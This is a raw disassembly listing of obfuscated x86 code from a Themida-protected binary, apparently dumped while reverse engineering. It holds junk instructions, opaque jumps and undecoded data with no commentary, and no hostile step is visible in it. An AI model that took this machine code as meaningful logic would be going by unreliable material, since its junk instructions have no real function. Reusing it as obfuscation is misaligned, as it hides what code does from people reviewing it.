Themida_:005FE6ADj mov dx, bx mov bx, 7BD1h mov dx, 0A5ABh mov al, ch mov dh, 95h jmp loc_5FE6E3 ; --------------------------------------------------------------------------- dd 8D936AA2h, 0A7332619h ; --------------------------------------------------------------------------- jmp ecx ; --------------------------------------------------------------------------- db 66h ; --------------------------------------------------------------------------- loc_5FE6E3: ; CODE XREF: Themida_:005FE6D3j pusha and cx, 4B0Dh popa mov bx, ax mov ax, 394Ch cld stc jmp loc_5FE703 ; --------------------------------------------------------------------------- dd 6EBA3CD9h, 0B5B91CDAh ; --------------------------------------------------------------------------- ja short loc_5FE715 cli loc_5FE703: ; CODE XREF: Themida_:005FE6F3j or cx, 0A784h mov ecx, edi jmp loc_5FE71D ; --------------------------------------------------------------------------- dec ebx mov esi, 86400CDAh loc_5FE715: ; CODE XREF: Themida_:005FE700j pop esi inc esp mov ds:0D6BA5400h, al ; --------------------------------------------------------------------------- db 12h ; --------------------------------------------------------------------------- loc_5FE71D: ; CODE XREF: Themida_:005FE70Aj xor esi, 6089F3EDh or ebx, 52691C88h stc mov bh, 4Ah push ecx cmc pop ebx jl near ptr loc_5FE74A+4 call near ptr locret_5FE746+2 jnz short loc_5FE74A mov eax, 31DA9599h mov edi, 0B4F3B093h locret_5FE746: ; CODE XREF: Themida_:005FE735p retf 0BA50h ; --------------------------------------------------------------------------- db 1Dh ; --------------------------------------------------------------------------- loc_5FE74A: ; CODE XREF: Themida_:005FE73Aj ; Themida_:005FE72Fj sbb eax, 0F55B4D1Bh mov eax, 1063F9F0h jle loc_5FE75F adc si, 8376h loc_5FE75F: ; CODE XREF: Themida_:005FE754j cmc mov ecx, 272B2FC0h jmp loc_5FE771 ; --------------------------------------------------------------------------- dw 1CFAh dd 3519BAD9h db 85h ; --------------------------------------------------------------------------- loc_5FE771: ; CODE XREF: Themida_:005FE765j jmp loc_5FE789 ; --------------------------------------------------------------------------- dw 0D33Bh dd 2460D564h, 43AB19A8h, 9490A37Dh, 234591ADh ; --------------------------------------------------------------------------- stosb loc_5FE789: ; CODE XREF: Themida_:loc_5FE771j mov al, 61h movzx edx, bx cld mov bx, 2A52h mov bx, 0F6Fh jnb loc_5FE7AC jmp loc_5FE7AC ; --------------------------------------------------------------------------- dw 2CE6h dd 0AD315863h, 64CB702Ch ; --------------------------------------------------------------------------- loc_5FE7AC: ; CODE XREF: Themida_:005FE797j ; Themida_:005FE79Dj jle $+6 mov edi, eax jmp loc_5FE7C0 ; --------------------------------------------------------------------------- db 0EDh, 87h, 35h dd 86E91A23h ; --------------------------------------------------------------------------- loc_5FE7C0: ; CODE XREF: Themida_:005FE7B4j jnb loc_5FE7CC and ebx, 56790CB5h loc_5FE7CC: ; CODE XREF: Themida_:loc_5FE7C0j cmc mov cx, bx movzx esi, dx call sub_5FE7DE inc edi lock push cs ; --------------------------------------------------------------------------- db 8Dh db 0E6h, 64h ; =============== S U B R O U T I N E ======================================= sub_5FE7DE proc near ; CODE XREF: Themida_:005FE7D3p mov ax, 0A110h pop eax pusha clc jnz loc_5FE7F0 or di, 26AFh loc_5FE7F0: ; CODE XREF: sub_5FE7DE+7j popa mov ebx, edi mov eax, esi cld jle loc_5FE803 push ebx mov esi, 5F073B22h pop edx loc_5FE803: ; CODE XREF: sub_5FE7DE+18j stc xor esi, 1DC8E689h call near ptr loc_5FE81C+1 fnstcw word ptr ds:38B3FB58h adc al, [ebx-46A49FCEh] stosb loc_5FE81C: ; CODE XREF: sub_5FE7DE+2Cp xor [ecx+5C1BB0E9h], al sub_5FE7DE endp ; sp-analysis failed jl short near ptr loc_5FE882+1 jz $+6 mov dx, 3E38h jmp loc_5FE846 ; --------------------------------------------------------------------------- db 4Dh dd 0C3D68D7Eh, 0CB777D2Fh, 7DB32EADh, 32AC66D3h db 43h, 0BAh ; --------------------------------------------------------------------------- loc_5FE846: ; CODE XREF: Themida_:005FE82Ej movsx ebx, bx ja loc_5FE855 sub edi, 78E96FFh loc_5FE855: ; CODE XREF: Themida_:005FE849j call sub_5FE867 mov edx, 546DB872h mov cl, 42h shl byte ptr [eax+esi*8-3Bh], 1 push cs dec eax ; =============== S U B R O U T I N E ======================================= sub_5FE867 proc near ; CODE XREF: Themida_:loc_5FE855p mov esi, 32A97D88h pop ecx jmp loc_5FE881 ; --------------------------------------------------------------------------- dw 1970h dd 0E1783763h, 0A526B3E9h, 0E9EB28E8h db 0D5h ; --------------------------------------------------------------------------- loc_5FE881: ; CODE XREF: sub_5FE867+6j push ebx loc_5FE882: ; CODE XREF: Themida_:005FE822j mov dl, 4Bh pop ebx push eax push edx jmp loc_5FE893 ; --------------------------------------------------------------------------- dd 4756C630h db 8Fh, 3Ah, 1 ; --------------------------------------------------------------------------- loc_5FE893: ; CODE XREF: sub_5FE867+20j pop esi pop eax jno loc_5FE8A9 jmp loc_5FE8A9 ; --------------------------------------------------------------------------- dd 72B3F565h, 0B59BC557h db 21h ; --------------------------------------------------------------------------- loc_5FE8A9: ; CODE XREF: sub_5FE867+2Ej ; sub_5FE867+34j jz loc_5FE8B4 mov esi, 6736F8BDh loc_5FE8B4: ; CODE XREF: sub_5FE867:loc_5FE8A9j clc sub esi, 63EE07D1h mov ecx, 2C82246Fh push esi mov esi, edi pop edx push eax jmp loc_5FE8D0 ; --------------------------------------------------------------------------- dw 2FEAh dd 43E0213Ah ; --------------------------------------------------------------------------- loc_5FE8D0: ; CODE XREF: sub_5FE867+5Ej pop ecx mov ecx, edi mov di, 1BFBh cmc cld sbb bx, 114Fh jno loc_5FE8ED jbe loc_5FE8ED mov dx, ax loc_5FE8ED: ; CODE XREF: sub_5FE867+77j ; sub_5FE867+7Dj mov edx, 6F6A8674h call sub_5FE90B db 2Eh lea eax, [esi-2D2C16BFh] adc ah, ds:3A380BEAh add al, 0B7h mov al, 77h movsb push eax inc edi sub_5FE867 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5FE90B proc near ; CODE XREF: sub_5FE867+8Bp mov cl, bh pop esi cld cld mov dl, al push esi mov cx, si pop ecx push ecx mov si, cx pop ebx jmp loc_5FE92D ; --------------------------------------------------------------------------- db 0A6h, 97h, 7Eh dd 0C58B8697h, 66048BB7h db 0DFh ; --------------------------------------------------------------------------- loc_5FE92D: ; CODE XREF: sub_5FE90B+11j mov esi, 45E39DD6h movsx esi, bx xor dx, 5E63h call near ptr loc_5FE943+3 xor edx, [ebx] xchg eax, esi xchg eax, ecx loc_5FE943: ; CODE XREF: sub_5FE90B+2Fp sbb [edi+ecx*8+11E9h], al sub_5FE90B endp ; sp-analysis failed add dh, bl shr dl, 18h mov bh, 0E4h imul eax, edi, 38h lds esi, ss:333E4396h pop eax clc jle loc_5FE96C pusha jo $+6 popa loc_5FE96C: ; CODE XREF: Themida_:005FE95Ej sbb bx, 0A69h jz loc_5FE97A add ah, 0D2h loc_5FE97A: ; CODE XREF: Themida_:005FE971j jmp loc_5FE98F ; --------------------------------------------------------------------------- db 0A5h dd 6C4C559Bh, 0D94FCB89h, 0CAC265BBh db 9Eh, 1Fh, 24h ; --------------------------------------------------------------------------- loc_5FE98F: ; CODE XREF: Themida_:loc_5FE97Aj jg loc_5FE99B and edx, 141F06Bh loc_5FE99B: ; CODE XREF: Themida_:loc_5FE98Fj cld jle loc_5FE9A5 movsx ebx, dx loc_5FE9A5: ; CODE XREF: Themida_:005FE99Cj mov ecx, edx movsx ebx, si mov cx, si jg $+6 sbb eax, 4ACB2416h mov al, 3Dh or ax, 633Fh cld sbb edi, 36A22442h jmp loc_5FE9DB ; --------------------------------------------------------------------------- dd 653F91C7h, 5AE2E95Eh, 0AE8DC6E9h ; --------------------------------------------------------------------------- sbb byte ptr [esi], 31h loc_5FE9DB: ; CODE XREF: Themida_:005FE9C7j add esi, 7E2EC648h mov dh, 46h mov eax, 531774A3h jno $+6 movsx edx, cx mov eax, esi movsx ebx, ax jno loc_5FEA15 jmp loc_5FEA15 ; --------------------------------------------------------------------------- db 0D1h, 68h, 0C5h dd 0BE0A3076h, 3F14CC0Bh, 4D19E20Eh, 6E939D1Fh db 11h ; --------------------------------------------------------------------------- loc_5FEA15: ; CODE XREF: Themida_:005FE9F6j ; Themida_:005FE9FCj jmp loc_5FEA2C ; --------------------------------------------------------------------------- dw 0DE14h dd 1AC215D8h, 0C9873132h, 0A821F2A4h, 53CBDD2Ch ; --------------------------------------------------------------------------- loc_5FEA2C: ; CODE XREF: Themida_:loc_5FEA15j jp loc_5FEA38 sbb ebx, 59DA17D1h loc_5FEA38: ; CODE XREF: Themida_:loc_5FEA2Cj mov di, si call near ptr loc_5FEA45+1 popf in eax, 0A5h ; Interrupt Controller #2, 8259A aad 47h loc_5FEA45: ; CODE XREF: Themida_:005FEA3Bp test [esi-7Fh], ah ficom dword ptr [esi] or eax, 6B03BB5Ah mov al, ds:0C6B70F69h mov dx, 555h jmp loc_5FEA6B ; --------------------------------------------------------------------------- db 0D1h, 62h, 0A3h dd 0D75BC68Fh, 34488642h db 3Eh, 0BEh, 57h ; --------------------------------------------------------------------------- loc_5FEA6B: ; CODE XREF: Themida_:005FEA58j movzx ecx, dx clc movzx edi, bx mov ecx, esi mov edi, ecx mov ebx, 118D66F6h sbb bx, 805Fh jmp loc_5FEA8D ; --------------------------------------------------------------------------- db 46h, 50h, 9 dd 0EF4D69E5h db 6Dh ; --------------------------------------------------------------------------- loc_5FEA8D: ; CODE XREF: Themida_:005FEA80j jno loc_5FEA97 mov dx, 0BBFBh loc_5FEA97: ; CODE XREF: Themida_:loc_5FEA8Dj jmp loc_5FEAAD ; --------------------------------------------------------------------------- dd 0CCE1B46h, 0B99BC994h, 2201D86Ah, 8316534Ch ; --------------------------------------------------------------------------- push ss loc_5FEAAD: ; CODE XREF: Themida_:loc_5FEA97j movzx esi, bx cld jbe loc_5FEABC mov eax, 66921D4Ch loc_5FEABC: ; CODE XREF: Themida_:005FEAB1j jnb loc_5FEAC6 mov di, 1D6Bh loc_5FEAC6: ; CODE XREF: Themida_:loc_5FEABCj add al, 0DFh mov ah, bl mov eax, ecx or ch, 31h movsx ebx, si sub edx, 719C2A08h mov edx, 29055A4Ah mov ebx, edi call near ptr sub_5FEAF2 ; --------------------------------------------------------------------------- db 16h, 0BAh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5FEB2A loc_5FEAE7: ; CODE XREF: sub_5FEB2A+20j mov al, ds:89B37Ah jnz short near ptr loc_5FEB0A+3 mov ch, 7Dh mov ch, 0D3h ; END OF FUNCTION CHUNK FOR sub_5FEB2A ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5FEAF2 proc far ; CODE XREF: Themida_:005FEAE0p sub cx, 0D1AEh pop ecx sbb ah, 0D1h push ecx pusha jmp loc_5FEB0A ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- or [esi+612C8C9Ch], ebx retf ; --------------------------------------------------------------------------- loc_5FEB0A: ; CODE XREF: sub_5FEAF2+Bj ; sub_5FEB2A-3Ej js $+6 popa pop edi mov cx, 0FD52h xor si, 3827h movzx edx, di call sub_5FEB2A push edi movsd dec edi adc esi, edx cmpsb hlt sub_5FEAF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5FEB2A proc near ; CODE XREF: sub_5FEAF2+2Cp ; FUNCTION CHUNK AT 005FEAE7 SIZE 0000000B BYTES ja loc_5FEB33 sbb ah, 26h loc_5FEB33: ; CODE XREF: sub_5FEB2Aj pop ecx push ebx mov edi, 266372DCh pop eax jo loc_5FEB44 mov si, dx loc_5FEB44: ; CODE XREF: sub_5FEB2A+11j call near ptr loc_5FEB53+2 push ebx jnb short loc_5FEAE7 stosd xor eax, 1CD7A5EFh inc esp loc_5FEB53: ; CODE XREF: sub_5FEB2A:loc_5FEB44p mov eax, 0DE8B667Fh sub_5FEB2A endp ; sp-analysis failed pop edx mov edx, 31CDC040h jmp loc_5FEB71 ; --------------------------------------------------------------------------- cwde sahf pop ebp and al, 0D7h lds ebx, [ebx] inc edi cmp cl, [ecx+57AB6DD9h] loc_5FEB71: ; CODE XREF: Themida_:005FEB5Ej stc pusha push eax pop ecx jmp loc_5FEB82 ; --------------------------------------------------------------------------- dw 4C50h dd 0FDF30719h db 0A5h, 0BDh ; --------------------------------------------------------------------------- loc_5FEB82: ; CODE XREF: Themida_:005FEB75j popa jmp loc_5FEB96 ; --------------------------------------------------------------------------- dd 9E226BC1h, 0CD4D867h, 0ABE2E03Ah db 0F2h, 8Eh ; --------------------------------------------------------------------------- loc_5FEB96: ; CODE XREF: Themida_:005FEB83j xor dh, 30h pusha adc bl, 4Ch popa jnp loc_5FEBB6 jmp loc_5FEBB6 ; --------------------------------------------------------------------------- db 82h, 0F8h, 74h dd 72F8F081h, 0E542447Eh ; --------------------------------------------------------------------------- aam 0DBh loc_5FEBB6: ; CODE XREF: Themida_:005FEB9Ej ; Themida_:005FEBA4j mov dx, 704Ah mov bx, 8016h jmp loc_5FEBD2 ; --------------------------------------------------------------------------- db 0ECh dd 3E2865B9h, 5CAB744Ah, 1CF02560h db 0EFh, 62h ; --------------------------------------------------------------------------- loc_5FEBD2: ; CODE XREF: Themida_:005FEBBEj jmp loc_5FEBE4 ; --------------------------------------------------------------------------- db 0Ch dd 0B8403E7Eh, 95E1ACCBh, 116048F2h ; --------------------------------------------------------------------------- loc_5FEBE4: ; CODE XREF: Themida_:loc_5FEBD2j mov ecx, 5FCE1B08h mov esi, 379110h xor eax, 562BB082h add edi, 31E23E90h mov ecx, edx or bl, 2 add bx, 6B78h mov si, 0FB60h mov cx, 87C8h mov al, 5Eh mov cx, 0A9F4h sbb bx, 1C9Ch mov cx, dx add al, 0AAh clc jmp loc_5FEC33 ; --------------------------------------------------------------------------- db 33h dd 3BE15A6Ah, 0D8BCD6FCh, 9BF3A513h ; --------------------------------------------------------------------------- sub esp, [edi-21h] loc_5FEC33: ; CODE XREF: Themida_:005FEC1Ej add di, 502Fh jmp loc_5FEC4B ; --------------------------------------------------------------------------- db 0CFh, 0F5h, 95h dd 0AFB16B2Eh, 61EDFC08h db 2 dup(7Ah), 0A5h ; --------------------------------------------------------------------------- loc_5FEC4B: ; CODE XREF: Themida_:005FEC38j adc edi, 3313D05Dh mov dx, 8B71h jmp loc_5FEC6A ; --------------------------------------------------------------------------- dw 0B441h dd 0E1D366D0h, 2EE53CF2h, 9FCFE33Bh db 7Ch, 6Bh ; --------------------------------------------------------------------------- loc_5FEC6A: ; CODE XREF: Themida_:005FEC55j ja loc_5FEC73 mov ax, dx loc_5FEC73: ; CODE XREF: Themida_:loc_5FEC6Aj stc call near ptr loc_5FEC7C+2 jle short near ptr loc_5FEC84+1 pushf loc_5FEC7C: ; CODE XREF: Themida_:005FEC74p cmp [ebp+66595950h], dh mov ecx, esi loc_5FEC84: ; CODE XREF: Themida_:005FEC79j mov edx, 8860973h mov esi, edx mov si, 53B2h movsx edx, di pusha call near ptr loc_5FECA8+1 adc [esp+eax], eax leave stosd adc ebp, [esi+3F062128h] sbb byte ptr [edx-71h], 17h push eax loc_5FECA8: ; CODE XREF: Themida_:005FEC93p lock mov bl, cl pop eax jmp loc_5FECC0 ; --------------------------------------------------------------------------- db 94h, 5Fh, 72h dd 0EC65456Bh, 27C9D8A2h, 7F4F41F4h ; --------------------------------------------------------------------------- loc_5FECC0: ; CODE XREF: Themida_:005FECACj popa jmp loc_5FECD1 ; --------------------------------------------------------------------------- dw 0FE96h ; --------------------------------------------------------------------------- push esi scasd daa mov ch, [edx+11EF2123h] loc_5FECD1: ; CODE XREF: Themida_:005FECC1j mov edi, esi push ebx mov al, dl pop ecx jge loc_5FECDE cmc loc_5FECDE: ; CODE XREF: Themida_:005FECD7j mov bl, 0F8h movzx ecx, ax sbb cx, 0C44Fh jnz loc_5FECF2 mov ax, 1A17h loc_5FECF2: ; CODE XREF: Themida_:005FECE8j jge loc_5FECFA mov eax, ebx loc_5FECFA: ; CODE XREF: Themida_:loc_5FECF2j clc mov ebx, eax movsx edx, dx sbb bl, 34h ja loc_5FED0F or ecx, 72B45B28h loc_5FED0F: ; CODE XREF: Themida_:005FED03j jmp loc_5FED22 ; --------------------------------------------------------------------------- dd 0E47CCAB8h, 95E868DEh, 6E8A3h db 0C8h, 31h ; --------------------------------------------------------------------------- loc_5FED22: ; CODE XREF: Themida_:loc_5FED0Fj mov di, bx mov esi, edx mov ax, 0FC81h jp loc_5FED33 mov cl, 0C2h loc_5FED33: ; CODE XREF: Themida_:005FED2Bj jo loc_5FED52 jmp loc_5FED52 ; --------------------------------------------------------------------------- dw 1539h dd 158BB6A9h, 1BE08953h, 8372A7D0h, 362662D2h ; --------------------------------------------------------------------------- sub esi, [eax] loc_5FED52: ; CODE XREF: Themida_:loc_5FED33j ; Themida_:005FED39j clc or ebx, 601C9174h mov si, 0B568h jo loc_5FED66 movzx eax, si loc_5FED66: ; CODE XREF: Themida_:005FED5Dj mov edx, esi jmp loc_5FED7E ; --------------------------------------------------------------------------- db 9Dh, 72h, 11h dd 54E1DD72h, 0FB40F795h, 6837539Bh db 0FBh, 23h ; --------------------------------------------------------------------------- loc_5FED7E: ; CODE XREF: Themida_:005FED68j mov esi, 775E8A6Fh xor ecx, 1C86EE55h xor edx, 59571608h sbb esi, 6CD14401h cld mov eax, 3064F02Bh call near ptr loc_5FEDAA+1 mov cl, 8Ch xor esp, [ebp+2DEE9953h] and ecx, edx loc_5FEDAA: ; CODE XREF: Themida_:005FED9Bp call far ptr 73A8h:5CF8E281h pop ecx call near ptr loc_5FEDBA+8 fcomp qword ptr [edi-36h] loc_5FEDBA: ; CODE XREF: Themida_:005FEDB2p imul eax, [esi+ecx*8-0B080619h], 0D7816611h jz short loc_5FEDFD pop edx mov ax, 0D26h xor cl, 79h movzx edi, ax or ax, 265h jns loc_5FEDE2 xor dx, 1F57h loc_5FEDE2: ; CODE XREF: Themida_:005FEDD7j mov bh, dl xor edi, 0D1F6D4Ah mov dx, cx jge $+6 xor ch, 23h mov ax, 0B28Bh and bh, 9Eh loc_5FEDFD: ; CODE XREF: Themida_:005FEDC5j pusha jmp loc_5FEE0E ; --------------------------------------------------------------------------- db 19h dd 80415F39h, 0F1B7FBCCh db 0A4h, 1Ah ; --------------------------------------------------------------------------- loc_5FEE0E: ; CODE XREF: Themida_:005FEDFEj mov cx, 49FEh popa movzx eax, si sbb bh, 79h sbb cx, 0CEE7h sub ah, 0FEh push edx jp loc_5FEE2A mov ch, bh loc_5FEE2A: ; CODE XREF: Themida_:005FEE22j pop edi mov bl, 21h jmp loc_5FEE37 ; --------------------------------------------------------------------------- dw 6D6Ch db 20h, 25h, 0B0h ; --------------------------------------------------------------------------- loc_5FEE37: ; CODE XREF: Themida_:005FEE2Dj push eax jmp loc_5FEE44 ; --------------------------------------------------------------------------- db 14h, 0C5h, 7Ah dd 5256ABE6h ; --------------------------------------------------------------------------- loc_5FEE44: ; CODE XREF: Themida_:005FEE38j pop eax cld adc ecx, 7B4251A8h ; CODE XREF: Themida_:005FEE8Fj add bx, 0BF94h push edi movsx eax, ax pop esi call near ptr loc_5FEE64+1 shl byte ptr [ecx-64607B18h], 1 daa dec ax loc_5FEE64: ; CODE XREF: Themida_:005FEE56p adc al, 66h mov edx, 665AB066h add edx, 666022D2h mov edx, ecx jg loc_5FEE7B push edx pop ecx loc_5FEE7B: ; CODE XREF: Themida_:005FEE73j popa mov ah, dl movsx esi, di call near ptr loc_5FEE8F+1 test al, 0E0h inc eax or ch, [esi] push edx jno short near ptr loc_5FEE9C+1 xchg eax, edi loc_5FEE8F: ; CODE XREF: Themida_:005FEE81p loope near ptr loc_5FEE46+1 cmp eax, 8EBE6658h lea eax, [eax-75F0F13Fh] loc_5FEE9C: ; CODE XREF: Themida_:005FEE8Cj add al, 0 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- mov ax, 0B5h mov dh, 0BDh mov dh, al stc mov si, cx cld pusha jmp loc_5FEEBF ; --------------------------------------------------------------------------- db 4Fh dd 0A56DDB35h, 504DB0EDh db 0B6h, 0FCh, 83h ; --------------------------------------------------------------------------- loc_5FEEBF: ; CODE XREF: Themida_:005FEEAEj mov bh, 0B4h popa jmp loc_5FEED1 ; --------------------------------------------------------------------------- db 1Ah ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0C6h, 0Fh, 92h dd 4095DF8Fh db 69h ; --------------------------------------------------------------------------- loc_5FEED1: ; CODE XREF: Themida_:005FEEC2j mov dl, 0B6h jmp loc_5FEEEC ; --------------------------------------------------------------------------- dd 0AA5693C5h, 7A9895E7h, 0EEAF677Bh, 0BF30F16Bh, 99CF0D58h ; --------------------------------------------------------------------------- loc_5FEEEC: ; CODE XREF: Themida_:005FEED3j pusha cld mov ecx, eax popa mov di, 597Fh xor edi, 564040B9h call near ptr loc_5FEF05+1 xor eax, 66A0362Dh loc_5FEF05: ; CODE XREF: Themida_:005FEEFBp and ebp, ecx adc al, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 99h dd 0EC604D40h, 0A7ECD80Fh, 3C607D6Eh, 0D38E80F3h, 0E8F55849h dd 5, 17CC5CB7h, 0D7F0B907h, 0E9596736h, 0Eh, 166131C4h dd 9D75EE11h, 5670E121h, 8B661FB9h, 0F9CB8AD0h, 8B66F78Bh dd 830FF9h, 66000000h, 14CDD881h, 7E8F9h, 456B0000h, 0D8A2EC65h dd 0E95FF5C9h, 0Fh, 8A042F94h, 0A3374469h, 0F87342D2h dd 0F96FEF9Fh, 8BC68B66h, 0BE9F0h, 0A40A0000h, 3B95B005h dd 7D0F3700h, 0AF12BE97h, 8B665462h, 0BE8FCD8h, 6A000000h dd 1E6446DFh, 352F2BA3h, 0D281E03Bh, 6FC129E1h, 0BB9EB658h dd 10388016h, 9C5BB66h, 0AE9h, 44CF6200h, 7B9A1C4Dh, 0F4BDA47h dd 68Fh, 92C78100h, 660C125Bh, 605218BAh, 0E281CF8Bh, 5875FE14h dd 0EE861h, 0AA120000h, 3754FB5Bh, 0AC0C6633h, 32D0A030h dd 0F5F78B1h, 38Fh, 0E4E98000h, 13E8h, 0BDB64300h, 60767591h dd 123F88BFh, 5A61CD90h, 0C0CC6B6h, 12E9h, 3F4B5800h, 0E69A09FFh dd 707B7D4Bh, 4B6BB8E0h, 5F2BD1C0h, 5E982B0h, 0AE000000h dd 0B035824Fh, 12E8h, 3EBAEC00h, 0B6EE40E4h, 419D5532h dd 23BCEFD6h, 50FDFF53h, 5EC2BF0Fh, 91BE665Ah, 51EE817Ah dd 0F43E1B5h, 18B1DFBFh, 8E960h, 8E800000h, 5F0F49D3h dd 0F861CE47h, 5820Fh, 81660000h, 60E4A9D3h, 51DBBF0Fh dd 6E8h, 0EB52B800h, 585BA5ABh, 7FB9615Ah, 66298ACEh, 850FC68Bh dd 5, 0E0EA8166h, 0C1B70F07h, 5E50F98Bh, 13E8h, 0C03EFE00h dd 87B6FD8Ah, 0A03CBF34h, 26667D6Ch, 0E24713B2h, 0DACB8051h dd 0F5565A5Fh, 22B86659h, 0B8B96679h, 0FCA4BFB3h, 12E81487h dd 32000000h, 6136AC2Ah, 0F4259CADh, 5F23684Fh, 2C8B1F0Bh dd 8B666056h, 0CABF0FD6h, 0E9505B61h, 9, 784AEADAh, 0F04E443Ah dd 60FC5E8Fh, 6061FA8Bh, 6667E180h, 615D43BFh, 6FAAB966h dd 98C58060h, 8F0Fh, 0E9610000h, 0Bh, 4C1BEC0Ch, 4EBF76FAh dd 0B0A74F79h, 5840FFAh, 0B9000000h, 5FA68C91h, 3880Fh dd 8B660000h, 978FBAC7h, 0DA8A623Fh, 0DDBBD0B2h, 0BA470493h dd 196B0424h, 0E0816652h, 6059B0C0h, 3820Fh, 0B70F0000h dd 615A56DFh, 58C0Fh, 69BA0000h, 0E936B6DBh, 10h, 152925ABh dd 0B1077759h, 0E13C8EB3h, 1E94EB05h, 0E6EA8160h, 61368D9Dh dd 8166C3B6h, 806BA7CEh, 0BF0FABDBh, 6E9D8h, 548A0000h dd 5C936E4h, 6810Fh, 8C0F0000h, 0 ; --------------------------------------------------------------------------- or ch, 31h movsx esi, dx push esi jmp loc_5FF1E7 ; --------------------------------------------------------------------------- dd 80CA04EFh, 95D3DA3Fh, 0D135CD9Ch, 7B0625C6h db 63h, 59h, 85h ; --------------------------------------------------------------------------- loc_5FF1E7: ; CODE XREF: Themida_:005FF1CFj pop esi add si, 6861h pusha jge loc_5FF1F9 and bx, 516Ch loc_5FF1F9: ; CODE XREF: Themida_:005FF1EEj clc popa sbb edi, 89AC9E7h mov di, 0DC92h movsx edi, di jmp loc_5FF21A ; --------------------------------------------------------------------------- db 7Fh, 6Bh, 10h dd 16199D1Dh, 0CB76AE39h db 32h, 98h ; --------------------------------------------------------------------------- loc_5FF21A: ; CODE XREF: Themida_:005FF208j js loc_5FF233 push edi jmp loc_5FF232 ; --------------------------------------------------------------------------- dw 9D0Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 3Ch, 0C4h, 8Ah dd 696C2C29h ; --------------------------------------------------------------------------- inc esi pop esi loc_5FF232: ; CODE XREF: Themida_:005FF221j pop edx loc_5FF233: ; CODE XREF: Themida_:loc_5FF21Aj mov bh, 56h push edx mov dl, 0A5h pop eax mov si, ax or ax, 833h add bl, 82h mov dl, 39h jmp loc_5FF254 ; --------------------------------------------------------------------------- db 21h dd 79785F1Ah, 0D1CBABC1h ; --------------------------------------------------------------------------- loc_5FF254: ; CODE XREF: Themida_:005FF246j pusha jmp loc_5FF264 ; --------------------------------------------------------------------------- movsb db 2Eh add al, 0DBh xor cl, [eax+4A5F5C58h] loc_5FF264: ; CODE XREF: Themida_:005FF255j js $+6 popa mov ebx, 666A3F3Bh jmp loc_5FF27C ; --------------------------------------------------------------------------- db 0EFh, 48h, 57h dd 85E7DA3Bh ; --------------------------------------------------------------------------- loc_5FF27C: ; CODE XREF: Themida_:005FF270j mov dl, bl jo loc_5FF294 jmp loc_5FF294 ; --------------------------------------------------------------------------- db 6Bh, 99h, 56h dd 1CC6C6A0h, 2B76CEE5h ; --------------------------------------------------------------------------- loc_5FF294: ; CODE XREF: Themida_:005FF27Ej ; Themida_:005FF284j movzx esi, di jg loc_5FF2A2 adc di, 77DCh loc_5FF2A2: ; CODE XREF: Themida_:005FF297j mov bh, dl movzx ebx, cx add ah, 0FAh and edi, 7A0D78C1h cmc and edx, 6873CCA1h jnp loc_5FF2C0 mov cx, ax loc_5FF2C0: ; CODE XREF: Themida_:005FF2B7j js loc_5FF2CB push ebx sbb al, 0D8h pop edi loc_5FF2CB: ; CODE XREF: Themida_:loc_5FF2C0j xor bx, 8287h jnp loc_5FF2D9 xor ah, 48h loc_5FF2D9: ; CODE XREF: Themida_:005FF2D0j call near ptr loc_5FF2EB+4 dec ecx xor bl, [esi] mov eax, ds:663CC5EEh pop es db 36h pop edx in eax, 7Ch loc_5FF2EB: ; CODE XREF: Themida_:loc_5FF2D9p jmp near ptr 66EB87F0h ; --------------------------------------------------------------------------- dd 0B76CF81h, 14E95Eh, 0CB30000h, 454E134Bh, 0EA742BEAh dd 0A9B9A8C4h, 5012FF82h, 0FEBFFAE5h, 0F4852FAh, 1986h dd 14E900h, 65F50000h, 33D67D9Ch, 1AAB0AD7h, 651212A1h dd 18B3DBF3h, 0C381B006h, 2E1B4B98h, 3810FFCh, 66000000h dd 14E9CE8Bh, 74000000h, 96FED67Eh, 51283E96h, 0A028D711h dd 705737D8h, 0F54394Ch, 6E9DFB7h, 0F3000000h, 223B3FA7h dd 8166604Eh, 0F92DDAD2h, 18870F61h, 50000000h, 11E9h dd 847D6A00h, 2D967712h, 9DC549D9h, 0B5632F1h, 605BE4A4h dd 4CD28166h, 616DB213h, 48E0Fh, 0B6570000h, 8E85F0Ah dd 3C000000h, 8AC8F384h, 66331175h, 5F2AD0BFh, 18D0Fh dd 0B9F50000h, 2C94BD30h, 68E0Fh, 0D0810000h, 29EA2577h dd 0F287B966h, 0F532ED80h, 5DBA6651h, 8B665A95h, 0AE9F8h dd 81C50000h, 2AE4D8D7h, 0EF1E78EEh, 0DE9h, 0B9C5ED00h dd 0E83AC46Ch, 3C98E737h, 13E9E34Bh, 0A8000000h, 22C2CDA3h dd 675FEF8Fh, 0E68C8EC3h, 5F41E4C5h, 3EB89299h, 0F0AFC41h dd 383h, 0DABF0F00h, 6E9h, 0C8752B00h, 66A8B7ECh, 870FFA8Bh dd 6, 900FD681h, 0F1BA31B9h, 0E96E5A9Bh, 5, 0D08154FDh dd 3FBE666Dh, 0BE958h, 4DD80000h, 0F5A00E8h, 1F3816E6h dd 0BE8DEh, 5E1A0000h, 3A252230h, 0F5CAA36Fh, 18F9B922h dd 0F5B23D4h, 48Fh, 56BF6600h, 7B55BF56h, 10E92635h, 21000000h dd 0A33F5F77h, 97343FDAh, 0AD74F4ECh, 6688F071h, 0F0B9CB8h dd 1888h, 13E900h, 0CB760000h, 20A19832h, 1CB91509h, 0AB1FEB46h dd 6E532419h, 0B70F60D1h, 61CA8AF7h, 0EBCA8166h, 66595090h dd 0B70FDF8Bh, 0CE9D3h, 0A35D0000h, 2772E3B0h, 1FD8B817h dd 0BF0F46BEh, 66F78BD9h, 810F5CB9h, 25C288D9h, 8F9B96Eh dd 0C1815A52h, 4C53435Fh, 0FE9h, 92B9B300h, 948E189h, 0C9E9A78Dh dd 0BD924586h, 3840Fh, 8B660000h, 5810FD1h, 66000000h dd 6089E981h, 0F8C98150h, 5B0D5F32h, 10E9h, 0CC6F5D00h dd 29544538h, 0BF2A7706h, 0D81A1012h, 0BF66F511h, 0CC8AD97Dh dd 2DF28166h, 7E960h, 6FAD0000h, 4DB56F9Ch, 12820F03h dd 0E8000000h, 0Ah, 10B2252Ah, 